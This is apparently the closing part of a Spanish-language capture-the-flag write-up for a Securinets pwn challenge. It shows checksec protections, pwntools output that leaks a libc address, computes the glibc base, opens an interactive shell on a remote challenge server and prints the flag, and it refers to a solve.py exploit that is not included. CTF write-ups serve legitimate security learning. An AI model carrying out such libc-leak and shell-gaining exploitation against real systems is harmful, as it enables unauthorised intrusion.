Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 20.203.124.220 on port 1235: Done
[*] Leaked puts() address: 0x7f3c9865e450
[*] Glibc base address: 0x7f3c985da000
[*] Switching to interactive mode
Good bye!
Securinets{f8ee583021b816b1b557987ca120991a}
\x7f
[*] Got EOF while reading in interactive
$
El exploit completo se puede encontrar aquí: solve.py
.